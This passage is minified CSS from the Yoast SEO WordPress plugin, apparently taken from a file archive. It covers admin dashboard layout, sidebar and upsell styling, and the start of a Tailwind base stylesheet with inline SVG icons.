0 20px;padding:0 0 10px 200px}.wpseo_content_wrapper h4{clear:both;margin:1.2em 0 .5em}.wpseo_content_wrapper .postbox{margin:10px 10px 0 0}.wpseo_content_wrapper .postbox form{line-height:150%}.wpseo_content_wrapper .text{width:250px}.wpseo_content_wrapper .correct{background-color:green;color:#fff;padding:5px}.wpseo_content_wrapper .wrong{background-color:#dc3232;color:#fff;padding:5px}.wpseo_content_wrapper .wrong code{color:#000;padding:3px 8px}.wpseo_content_wrapper .button.fixit{float:right;margin:0 5px}.wpseo_content_wrapper .button.checkit{float:right;margin:0 5px;padding:5px 8px}.wpseo_content_wrapper .disabled-note{color:#888;margin:0 0 8px}.wpseo_content_wrapper #separator{margin:1em 0 0}.wpseo_content_wrapper #separator input.radio{height:1px;left:-9999em;position:absolute;width:1px}.wpseo_content_wrapper #separator input.radio+label{border:1px solid #ccc;cursor:pointer;float:left;font-family:Arial,Helvetica,sans-serif!important;font-size:18px!important;line-height:24px;margin:.5em 5px 0 0!important;padding:9px 6px;text-align:center;width:30px!important}.wpseo_content_wrapper #separator input.radio:checked+label{background-color:#fff;border:3px solid #a4286a;padding:7px 4px}.wpseo_content_wrapper #separator input.radio:focus+label{outline:2px solid #5b9dd9}.wpseo_content_wrapper .svg-container{text-align:center}.wpseo_content_wrapper .svg-container .dashicons{font-size:100px;height:100px;width:200px}.wpseo_content_wrapper .paper.tab-block button.toggleable-container-trigger{font-size:1.0625rem;padding:16px;width:100%}.wpseo_content_wrapper .paper.tab-block button.toggleable-container-trigger:focus{box-shadow:0 0 3px #084a67cc;outline:1px solid #0066cd;outline-offset:-1px}.wpseo_content_wrapper .paper.tab-block button.toggleable-container-trigger:active{box-shadow:none}.wpseo_content_wrapper .paper.tab-block h2.collapsible-header{margin:0!important;padding:0!important}.wpseo_content_wrapper .paper.tab-block.metabox button.toggleable-container-trigger{color:#555}.wpseo_content_wrapper .paper.tab-block.metabox.wpseotab{border:0;padding:0}.wpseo_content_wrapper .paper.tab-block .paper-container{padding:16px}.wpseo_content_wrapper .paper.tab-block.has-paper-container-no-top-padding .paper-container{padding-top:0}.wpseo_content_wrapper .paper.tab-block .paper-container:first-child{margin-top:0}.wpseo_content_wrapper .paper.tab-block .paper-title{padding:16px}.wpseo_content_wrapper .paper.tab-block .paper-title h2{margin:0}.wpseo_content_wrapper .paper.tab-block .tab-block:first-child{margin-top:0}.wpseo_content_wrapper .wpseo-collapsible-container{background-color:#fff;border-bottom:1px solid #e2e4e7;border-top:1px solid #e2e4e7;margin-top:-1px}.wpseo_content_wrapper .toggleable-container-trigger{background:none;border:0;cursor:pointer;padding:0;text-align:left;width:100%}.wpseo_content_wrapper .toggleable-container-icon{float:right;height:20px;position:relative;width:20px}.wpseo_content_wrapper .toggleable-container-trigger .toggleable-container-icon:after{content:"";display:block;left:-4px;padding:14px;position:absolute;top:-4px}.wpseo_content_wrapper .toggleable-container-hidden{display:none}.wpseo_content_wrapper h3{font-size:1.15em;margin:1em 0 .5em}.wpseo_content_wrapper h3.h2{font-size:1.3em}.wpseo_content_wrapper li,.wpseo_content_wrapper p{max-width:600px}.wpseo_content_wrapper .notice p,.yoast .search-box,.yoast-container .container,.yoast-notification p{max-width:none}table.wpseo th{text-align:left}#wpseo-tabs+.notice{margin-top:1.5em}.wpseo-variable-warning-element{border:1px solid #c62d2d!important}.wpseo-variable-warning{clear:both;color:#c62d2d;margin:5px 0 0;padding:5px}.wpseo-variable-warning code{color:#b02828}.wpseo-variable-warning a{color:#c62d2d}.wpseo_content_wrapper h1.wpseo-redirect-url-title{font-size:1.3em;margin:1em 0 .5em}table.yoast_help{border-collapse:collapse;width:100%}table.yoast_help,table.yoast_help td,table.yoast_help th{border:1px solid #ddd;color:#444}table.yoast_help td,table.yoast_help th{padding:5px 10px;text-align:left;vertical-align:top}table.yoast_help tr{background-color:#f1f1f1}table.yoast_help tr:nth-child(2n){background-color:#fbfbfe}table.yoast_help tr:hover{background-color:#ddd}table.yoast_help thead tr,table.yoast_help thead tr:hover{background-color:#fff}table.yoast_help .yoast-variable-name{font-weight:600;white-space:nowrap}table.yoast_help .yoast-variable-desc{min-width:300px}.yoast-notice-blocking-files code{color:#000;line-height:2}.yoast-notice-blocking-files .button{margin:.5em 0}.wpseo_content_wrapper .yoast-blocking-files-error p{max-width:none}.wpseotab{display:none}.wpseotab.active{display:block}.wpseotab p.expl{margin-left:6px}.wpseotab .tab-block{display:block;margin:30px 0}.wpseotab p.expl strong{font-size:115%}#wpseo-debug-info{background-color:#fff;border:1px solid #e5e5e5;box-shadow:0 1px 1px #0000000a;clear:both;margin:20px 0 0;padding:20px 20px 0}#wpseo-debug-info h2{cursor:auto;margin:0}#wpseo-debug-info .wpseo-debug-heading{font-size:1em}#wpseo-debug-info .wpseo-debug{color:#c00;display:inline-block;padding-left:20px}input.wpseo-new-title,textarea.wpseo-new-metadesc{max-width:100%;width:100%}body.toplevel_page_wpseo_dashboard .wp-badge{background:#0000 url(../../packages/js/images/Yoast_SEO_Icon.svg) no-repeat 50% 10px;background-size:140px 140px;box-shadow:none}#wpseo_progressbar{border:1px solid #006691;height:25px}#wpseo_progressbar .ui-progressbar-value{background:#006691;height:25px}.wpseo-progressbar-wrapper{display:inline;width:100%}.wpseo-progressbar{border:1px solid #006691;display:block;height:25px;width:100%}.wpseo-progressbar .ui-progressbar-value{background:#006691;height:25px}.yoast-sidebar__title{border-bottom:1px solid #a4286a;box-sizing:border-box;color:#a4286a;line-height:19px;margin:5px 0;padding:10px 0;text-align:left;width:100%}.yoast-sidebar__product{background:#a61e69;border-radius:8px;color:#fff;margin-top:34px;padding:24px}.yoast-sidebar__product h2{color:#fff;font-size:22px;font-weight:700}.yoast-get-premium-title{line-height:27px;margin-bottom:12px;margin-top:0}.yoast-get-premium-title span{white-space:nowrap}.yoast-sidebar__product .product-image{margin:-50px auto 16px;max-height:75px;max-width:75px;position:relative;z-index:2}.yoast-sidebar__product .product-image img{border:1px solid #fff;border-radius:12px 12px 0 12px;overflow:hidden}.yoast-sidebar__product p{font-size:1rem;margin-bottom:12px;margin-top:0}.yoast-sidebar__product .yoast-price-micro-copy{font-size:12px;font-weight:300;line-height:20px;margin-bottom:16px;text-align:center}.yoast-sidebar__product .yoast-upsell-hr{border-color:#cd82ab;border-top:1px;margin-bottom:16px}.yoast-sidebar__product .plugin-buy-button .yoast-button-upsell{width:100%}.yoast-sidebar__product .review-container{margin-top:16px}.yoast-sidebar__product .review-container a{color:#fff;text-decoration:none}.yoast-sidebar__product .review-container a .claim{color:#fff;display:block;margin-bottom:12px}.yoast-sidebar__product .review-container .title{color:#fff;font-weight:500;margin-bottom:8px}.yoast-sidebar__product .review-container .title:hover{text-decoration:underline}.yoast-sidebar__product .review-container .rating{display:flex;gap:5px}.yoast-sidebar__product .review-container .rating img{max-height:22px;max-width:22px}.yoast-sidebar__product .review-container .rating .rating-text{font-size:16px;font-weight:600}.yoast-sidebar__product .sidebar__sale_banner_container{margin-left:-24px;margin-top:-40px;overflow-x:hidden;overflow-y:initial;width:calc(100% + 48px)}.yoast-sidebar__product .sidebar__sale_banner_container .sidebar__sale_banner{background:#000;box-shadow:0 -1px 4px 0 #fcd34d,0 1px 4px 0 #fcd34d,0 -1px 0 0 #fcd34d,0 1px 0 0 #fcd34d;color:#fcd34d;font-size:20px;font-weight:500;letter-spacing:.5px;line-height:30px;margin-bottom:20px;margin-left:-30px;margin-top:20px;padding:7px 0;text-align:center;transform:rotate(-5deg);width:calc(100% + 60px);z-index:1}.yoast-sidebar__product .sidebar__sale_banner_container .sidebar__sale_banner .banner_text{display:inline-block;margin:0 40px}.yoast-sidebar__product .sidebar__sale_text{border-top:1px solid #fff;font-style:italic;text-align:center}.yoast-sidebar__product .sidebar__sale_text p{font-size:12.5px;margin:12.5px 0}.yoast-sidebar__section{background-color:#fff;border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin:10px 0 20px;padding:16px}.yoast-sidebar__section h2{color:#a4286a;margin-top:0}.yoast-sidebar__section a{color:#0085ba}.yoast-sidebar__section ul{position:relative}.yoast-sidebar__section li{list-style:none;margin-left:20px}.yoast-sidebar__section li:before{content:"+";font-weight:700;left:0;position:absolute}.yoast-sidebar__section div{margin:10px 0 20px;position:relative}.yoast-sidebar__section div img{float:right;height:70px;margin:0 0 0 10px;width:70px}.yoast-sidebar__section div img.alignleft{float:left;margin:0 10px 0 0}.yoast-sidebar__section div p{float:left;margin:0;width:100%}.yoast_premium_upsell{background-color:#fff;border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin-top:2em;max-width:715px;overflow:hidden}.yoast_premium_upsell--container{padding:16px}.black-friday-container{background-color:#1f2937;border-bottom:2px solid #fcd34d;display:flex;padding:8px 16px}.black-friday-container span{color:#fcd34d;font-size:1.2rem;font-weight:600}.yoast_premium_upsell--header{color:#a4286a;font-size:1.7em;font-weight:700;margin-top:.3em}.yoast_premium_upsell--motivation{display:flex;flex-wrap:wrap}.yoast_premium_upsell--motivation li{flex:0 0 50%;list-style:none}.yoast_premium_upsell--argument{padding:0 8px 0 20px}.yoast_premium_upsell--argument:before{content:"+";font-weight:700;left:-16px;margin-right:-10px;position:relative;top:-1px}@media screen and (max-width:480px){.yoast_premium_upsell--motivation{display:block}}.yoast-variable-desc{min-width:300px}.yoast-table-scrollable,.yoast-table-scrollable td,.yoast-table-scrollable th{box-sizing:border-box}.yoast-table-scrollable__container.yoast-has-scroll{overflow:hidden;position:relative}.yoast-table-scrollable__container.yoast-has-scroll:after{border-radius:10px 0 0 10px/50% 0 0 50%;box-shadow:-5px 0 10px #00000040;content:"";height:calc(100% - 16px);left:100%;position:absolute;top:0;width:50px}.yoast-table-scrollable__container.yoast-has-scroll .yoast-table-scrollable__inner{overflow-x:scroll;padding-bottom:16px}.yoast-table-scrollable__hintwrapper{display:none}.yoast-table-scrollable__hintwrapper.yoast-has-scroll{display:block;margin:1em 0;text-align:center}.yoast-has-scroll .yoast-table-scrollable__hint{display:inline-block}.yoast-has-scroll .yoast-table-scrollable__hint:before{content:"\21c4";display:inline-block;font-size:20px;line-height:inherit;margin-right:10px;vertical-align:text-top}.yoast-styled-select{align-items:center;display:inline-flex;margin-bottom:1em;position:relative}.yoast-styled-select:after,.yoast-styled-select:before{bottom:0;content:"";pointer-events:none;position:absolute;top:0}.yoast-styled-select:before{right:0;width:28px}.yoast-styled-select:after{border-top:4px solid #0000;border-color:#555 #0000 #0000;border-style:solid;border-width:5px 4px 0;height:0;margin:auto;right:6px;width:0;z-index:1}.yoast-styled-select select{-webkit-appearance:none;appearance:none;background:#0000;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;color:#32373c;height:28px;line-height:1;margin:0;max-width:100%;padding:4px 32px 4px 8px}.yoast-styled-select select.error{border-color:#dc3232;border-width:2px}.wpseo_content_wrapper .yoast-styled-select select.select{margin:0}.yoast-styled-select select:focus{border-color:#5b9dd9}.yoast-styled-select select:-moz-focusring{color:#0000;text-shadow:0 0 0 #32373c}.yoast-styled-select select[disabled]{opacity:.75}.yoast-styled-select select::-ms-expand{display:none}@media screen and (max-width:1024px){.wpseo_content_cell,.wpseo_content_wrapper{display:block;height:auto}#wpseo_content_top{width:auto}#sidebar-container{display:flex;gap:.7rem;padding:0;width:auto}.yoast-sidebar__product .sidebar__sale_banner_container{overflow-y:hidden}#sidebar-container .yoast-sidebar__section{margin-top:5rem}.yoast-sidebar__product-list{border-bottom:1px solid #ddd;display:flex}.yoast-sidebar__product-list div p{word-wrap:break-word;width:calc(100% - 50px)}.yoast-sidebar__product-list .yoast-sidebar__section{border-bottom:none}.yoast-sidebar__product-list .yoast-sidebar__section:first-child{margin-right:40px}}@media screen and (max-width:782px){.wpseo_content_wrapper label.select,.wpseo_content_wrapper label.textinput{display:inline-block;float:none;width:auto}.wpseo_content_wrapper input.textinput,.wpseo_content_wrapper textarea,.wpseo_content_wrapper textarea.textinput{display:block;width:100%}.wpseo_content_wrapper .select2-container,.wpseo_content_wrapper select,.wpseo_content_wrapper select.select{display:block;margin:0 0 5px;max-width:100%}.wpseo_content_wrapper div.desc.label,.wpseo_content_wrapper p.desc.label{padding-left:0}.wpseo_content_wrapper .textinput[aria-invalid=true][aria-describedby]+br{display:none}.wpseo_content_wrapper .yoast-input-validation__error-description{padding-left:0;width:auto}}@media screen and (max-width:600px){.yoast-sidebar__product-list{border-bottom:none;display:block}.yoast-sidebar__product-list .yoast-sidebar__section{border-bottom:1px solid #ddd}.yoast-sidebar__product-list .yoast-sidebar__section p{word-wrap:break-word;padding-left:50px;width:calc(100% - 50px)}}@media screen and (max-width:500px){.yoast-sidebar__product .sidebar__sale_banner_container .sidebar__sale_banner{transform:rotate(-4deg)}#sidebar-container{display:block}#sidebar-container .yoast-sidebar__section{margin-top:20px}body.toplevel_page_wpseo_dashboard .wp-badge{background-color:#a4286a;background-size:100px 100px;box-shadow:0 1px 3px #0003;padding-top:80px}}.wpseo-checkmark-ok-icon{background:var(--yoast-svg-icon-check-ok) no-repeat;background-size:18px;float:left;height:18px;margin-right:5px;vertical-align:top;width:18px}.yoast-settings-section:not(:last-child){margin-bottom:40px}.yoast-settings-section .yoast-field-group__title .yoast_help.yoast-help-link{margin:-6px 0 0 2px}#yoast-og-default-image-select .yoast-field-group__title{display:none}.yoast-settings-section.yoast-settings-section-disabled{border:1px solid #ccc;padding:16px;position:relative}.yoast-settings-section.yoast-settings-section-disabled>*{opacity:.5}.yoast-settings-section.yoast-settings-section-disabled .yoast-settings-section-upsell{align-items:center;bottom:0;display:flex;justify-content:center;left:0;opacity:1;position:absolute;right:0;top:0}@keyframes yoast-spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}wordpress-seo/css/dist/tailwind-2420.css000064400000417504147510273070014046 0ustar00.yst-root *,.yst-root :after,.yst-root :before{border:0 solid #e5e7eb;box-sizing:border-box}.yst-root :after,.yst-root :before{--tw-content:""}.yst-root{-webkit-text-size-adjust:100%;font-family:ui-sans-serif,system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5;margin:0;tab-size:4}.yst-root hr{border-top-width:1px;color:inherit;height:0}.yst-root abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}.yst-root h1,.yst-root h2,.yst-root h3,.yst-root h4,.yst-root h5,.yst-root h6{font-size:inherit;font-weight:inherit}.yst-root a{color:inherit;text-decoration:inherit}.yst-root b,.yst-root strong{font-weight:bolder}.yst-root code,.yst-root kbd,.yst-root pre,.yst-root samp{font-family:ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace;font-size:1em}.yst-root small{font-size:80%}.yst-root sub,.yst-root sup{font-size:75%;line-height:0;position:relative;vertical-align:initial}.yst-root sub{bottom:-.25em}.yst-root sup{top:-.5em}.yst-root table{border-collapse:collapse;border-color:inherit;text-indent:0}.yst-root button,.yst-root input,.yst-root optgroup,.yst-root select,.yst-root textarea{color:inherit;font-family:inherit;font-size:100%;font-weight:inherit;line-height:inherit;margin:0;padding:0}.yst-root button,.yst-root select{text-transform:none}.yst-root [type=button],.yst-root [type=reset],.yst-root [type=submit],.yst-root button{-webkit-appearance:button;background-color:initial;background-image:none}.yst-root :-moz-focusring{outline:auto}.yst-root :-moz-ui-invalid{box-shadow:none}.yst-root progress{vertical-align:initial}.yst-root ::-webkit-inner-spin-button,.yst-root ::-webkit-outer-spin-button{height:auto}.yst-root [type=search]{-webkit-appearance:textfield;outline-offset:-2px}.yst-root ::-webkit-search-decoration{-webkit-appearance:none}.yst-root ::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}.yst-root summary{display:list-item}.yst-root blockquote,.yst-root dd,.yst-root dl,.yst-root figure,.yst-root h1,.yst-root h2,.yst-root h3,.yst-root h4,.yst-root h5,.yst-root h6,.yst-root hr,.yst-root p,.yst-root pre{margin:0}.yst-root fieldset{margin:0;padding:0}.yst-root legend{padding:0}.yst-root menu,.yst-root ol,.yst-root ul{list-style:none;margin:0;padding:0}.yst-root textarea{resize:vertical}.yst-root input::placeholder,.yst-root textarea::placeholder{color:#6b7280;opacity:1}.yst-root [role=button],.yst-root button{cursor:pointer}.yst-root :disabled{cursor:default}.yst-root audio,.yst-root canvas,.yst-root embed,.yst-root iframe,.yst-root img,.yst-root object,.yst-root svg,.yst-root video{display:block;vertical-align:middle}.yst-root img,.yst-root video{height:auto;max-width:100%}.yst-root [type=date],.yst-root [type=datetime-local],.yst-root [type=email],.yst-root [type=month],.yst-root [type=number],.yst-root [type=password],.yst-root [type=search],.yst-root [type=tel],.yst-root [type=text],.yst-root [type=time],.yst-root [type=url],.yst-root [type=week]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root [type=date]:focus,.yst-root [type=datetime-local]:focus,.yst-root [type=email]:focus,.yst-root [type=month]:focus,.yst-root [type=number]:focus,.yst-root [type=password]:focus,.yst-root [type=search]:focus,.yst-root [type=tel]:focus,.yst-root [type=text]:focus,.yst-root [type=time]:focus,.yst-root [type=url]:focus,.yst-root [type=week]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=date]::placeholder,.yst-root [type=datetime-local]::placeholder,.yst-root [type=email]::placeholder,.yst-root [type=month]::placeholder,.yst-root [type=number]::placeholder,.yst-root [type=password]::placeholder,.yst-root [type=search]::placeholder,.yst-root [type=tel]::placeholder,.yst-root [type=text]::placeholder,.yst-root [type=time]::placeholder,.yst-root [type=url]::placeholder,.yst-root [type=week]::placeholder{color:#6b7280;opacity:1}.yst-root [type=date]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=datetime-local]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=email]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=month]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=number]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=password]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=search]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=tel]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=text]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=time]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=url]::-webkit-datetime-edit-fields-wrapper,.yst-root [type=week]::-webkit-datetime-edit-fields-wrapper{padding:0}.yst-root [type=date]::-webkit-date-and-time-value,.yst-root [type=datetime-local]::-webkit-date-and-time-value,.yst-root [type=email]::-webkit-date-and-time-value,.yst-root [type=month]::-webkit-date-and-time-value,.yst-root [type=number]::-webkit-date-and-time-value,.yst-root [type=password]::-webkit-date-and-time-value,.yst-root [type=search]::-webkit-date-and-time-value,.yst-root [type=tel]::-webkit-date-and-time-value,.yst-root [type=text]::-webkit-date-and-time-value,.yst-root [type=time]::-webkit-date-and-time-value,.yst-root [type=url]::-webkit-date-and-time-value,.yst-root [type=week]::-webkit-date-and-time-value{min-height:1.5em}.yst-root [type=date]::-webkit-datetime-edit,.yst-root [type=date]::-webkit-datetime-edit-day-field,.yst-root [type=date]::-webkit-datetime-edit-hour-field,.yst-root [type=date]::-webkit-datetime-edit-meridiem-field,.yst-root [type=date]::-webkit-datetime-edit-millisecond-field,.yst-root [type=date]::-webkit-datetime-edit-minute-field,.yst-root [type=date]::-webkit-datetime-edit-month-field,.yst-root [type=date]::-webkit-datetime-edit-second-field,.yst-root [type=date]::-webkit-datetime-edit-year-field,.yst-root [type=datetime-local]::-webkit-datetime-edit,.yst-root [type=datetime-local]::-webkit-datetime-edit-day-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-hour-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-meridiem-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-millisecond-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-minute-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-month-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-second-field,.yst-root [type=datetime-local]::-webkit-datetime-edit-year-field,.yst-root [type=email]::-webkit-datetime-edit,.yst-root [type=email]::-webkit-datetime-edit-day-field,.yst-root [type=email]::-webkit-datetime-edit-hour-field,.yst-root [type=email]::-webkit-datetime-edit-meridiem-field,.yst-root [type=email]::-webkit-datetime-edit-millisecond-field,.yst-root [type=email]::-webkit-datetime-edit-minute-field,.yst-root [type=email]::-webkit-datetime-edit-month-field,.yst-root [type=email]::-webkit-datetime-edit-second-field,.yst-root [type=email]::-webkit-datetime-edit-year-field,.yst-root [type=month]::-webkit-datetime-edit,.yst-root [type=month]::-webkit-datetime-edit-day-field,.yst-root [type=month]::-webkit-datetime-edit-hour-field,.yst-root [type=month]::-webkit-datetime-edit-meridiem-field,.yst-root [type=month]::-webkit-datetime-edit-millisecond-field,.yst-root [type=month]::-webkit-datetime-edit-minute-field,.yst-root [type=month]::-webkit-datetime-edit-month-field,.yst-root [type=month]::-webkit-datetime-edit-second-field,.yst-root [type=month]::-webkit-datetime-edit-year-field,.yst-root [type=number]::-webkit-datetime-edit,.yst-root [type=number]::-webkit-datetime-edit-day-field,.yst-root [type=number]::-webkit-datetime-edit-hour-field,.yst-root [type=number]::-webkit-datetime-edit-meridiem-field,.yst-root [type=number]::-webkit-datetime-edit-millisecond-field,.yst-root [type=number]::-webkit-datetime-edit-minute-field,.yst-root [type=number]::-webkit-datetime-edit-month-field,.yst-root [type=number]::-webkit-datetime-edit-second-field,.yst-root [type=number]::-webkit-datetime-edit-year-field,.yst-root [type=password]::-webkit-datetime-edit,.yst-root [type=password]::-webkit-datetime-edit-day-field,.yst-root [type=password]::-webkit-datetime-edit-hour-field,.yst-root [type=password]::-webkit-datetime-edit-meridiem-field,.yst-root [type=password]::-webkit-datetime-edit-millisecond-field,.yst-root [type=password]::-webkit-datetime-edit-minute-field,.yst-root [type=password]::-webkit-datetime-edit-month-field,.yst-root [type=password]::-webkit-datetime-edit-second-field,.yst-root [type=password]::-webkit-datetime-edit-year-field,.yst-root [type=search]::-webkit-datetime-edit,.yst-root [type=search]::-webkit-datetime-edit-day-field,.yst-root [type=search]::-webkit-datetime-edit-hour-field,.yst-root [type=search]::-webkit-datetime-edit-meridiem-field,.yst-root [type=search]::-webkit-datetime-edit-millisecond-field,.yst-root [type=search]::-webkit-datetime-edit-minute-field,.yst-root [type=search]::-webkit-datetime-edit-month-field,.yst-root [type=search]::-webkit-datetime-edit-second-field,.yst-root [type=search]::-webkit-datetime-edit-year-field,.yst-root [type=tel]::-webkit-datetime-edit,.yst-root [type=tel]::-webkit-datetime-edit-day-field,.yst-root [type=tel]::-webkit-datetime-edit-hour-field,.yst-root [type=tel]::-webkit-datetime-edit-meridiem-field,.yst-root [type=tel]::-webkit-datetime-edit-millisecond-field,.yst-root [type=tel]::-webkit-datetime-edit-minute-field,.yst-root [type=tel]::-webkit-datetime-edit-month-field,.yst-root [type=tel]::-webkit-datetime-edit-second-field,.yst-root [type=tel]::-webkit-datetime-edit-year-field,.yst-root [type=text]::-webkit-datetime-edit,.yst-root [type=text]::-webkit-datetime-edit-day-field,.yst-root [type=text]::-webkit-datetime-edit-hour-field,.yst-root [type=text]::-webkit-datetime-edit-meridiem-field,.yst-root [type=text]::-webkit-datetime-edit-millisecond-field,.yst-root [type=text]::-webkit-datetime-edit-minute-field,.yst-root [type=text]::-webkit-datetime-edit-month-field,.yst-root [type=text]::-webkit-datetime-edit-second-field,.yst-root [type=text]::-webkit-datetime-edit-year-field,.yst-root [type=time]::-webkit-datetime-edit,.yst-root [type=time]::-webkit-datetime-edit-day-field,.yst-root [type=time]::-webkit-datetime-edit-hour-field,.yst-root [type=time]::-webkit-datetime-edit-meridiem-field,.yst-root [type=time]::-webkit-datetime-edit-millisecond-field,.yst-root [type=time]::-webkit-datetime-edit-minute-field,.yst-root [type=time]::-webkit-datetime-edit-month-field,.yst-root [type=time]::-webkit-datetime-edit-second-field,.yst-root [type=time]::-webkit-datetime-edit-year-field,.yst-root [type=url]::-webkit-datetime-edit,.yst-root [type=url]::-webkit-datetime-edit-day-field,.yst-root [type=url]::-webkit-datetime-edit-hour-field,.yst-root [type=url]::-webkit-datetime-edit-meridiem-field,.yst-root [type=url]::-webkit-datetime-edit-millisecond-field,.yst-root [type=url]::-webkit-datetime-edit-minute-field,.yst-root [type=url]::-webkit-datetime-edit-month-field,.yst-root [type=url]::-webkit-datetime-edit-second-field,.yst-root [type=url]::-webkit-datetime-edit-year-field,.yst-root [type=week]::-webkit-datetime-edit,.yst-root [type=week]::-webkit-datetime-edit-day-field,.yst-root [type=week]::-webkit-datetime-edit-hour-field,.yst-root [type=week]::-webkit-datetime-edit-meridiem-field,.yst-root [type=week]::-webkit-datetime-edit-millisecond-field,.yst-root [type=week]::-webkit-datetime-edit-minute-field,.yst-root [type=week]::-webkit-datetime-edit-month-field,.yst-root [type=week]::-webkit-datetime-edit-second-field,.yst-root [type=week]::-webkit-datetime-edit-year-field{padding-bottom:0;padding-top:0}.yst-root textarea{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root textarea:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root textarea::placeholder{color:#6b7280;opacity:1}.yst-root select{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root select:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root select{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='none' viewBox='0 0 20 20'%3E%3Cpath stroke='%236b7280' stroke-linecap='round' stroke-linejoin='round' stroke-width='1.5' d='m6 8 4 4 4-4'/%3E%3C/svg%3E");background-position:right .5rem center;background-repeat:no-repeat;background-size:1.5em 1.5em;padding-right:2.5rem;-webkit-print-color-adjust:exact;print-color-adjust:exact}.yst-root select[multiple]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;border-color:#6b7280;border-radius:0;border-width:1px;font-size:1rem;line-height:1.5rem;padding:.5rem .75rem}.yst-root select[multiple]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:0px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color);border-color:#2563eb;box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=checkbox]{--tw-shadow:0 0 #0000;-webkit-appearance:none;appearance:none;background-color:#fff;background-origin:border-box;border-color:#6b7280;border-radius:0;border-width:1px;color:#2563eb;display:inline-block;flex-shrink:0;height:1rem;padding:0;-webkit-print-color-adjust:exact;print-color-adjust:exact;-webkit-user-select:none;user-select:none;vertical-align:middle;width:1rem}.yst-root [type=checkbox]:focus{--tw-ring-inset:var(--tw-empty,/*!*/ /*!*/);--tw-ring-offset-width:2px;--tw-ring-offset-color:#fff;--tw-ring-color:#2563eb;--tw-ring-offset-shadow:var(--tw-ring-inset) 0 0 0 var(--tw-ring-offset-width) var(--tw-ring-offset-color);--tw-ring-shadow:var(--tw-ring-inset) 0 0 0 calc(2px + var(--tw-ring-offset-width)) var(--tw-ring-color);box-shadow:var(--tw-ring-offset-shadow),var(--tw-ring-shadow),var(--tw-shadow);outline:2px solid #0000;outline-offset:2px}.yst-root [type=checkbox]:checked{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 16 16' fill='%23fff' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12.207 4.793a1 1 0 0 1 0 1.414l-5 5a1 1 0 0 1-1.414 0l-2-2a1 1 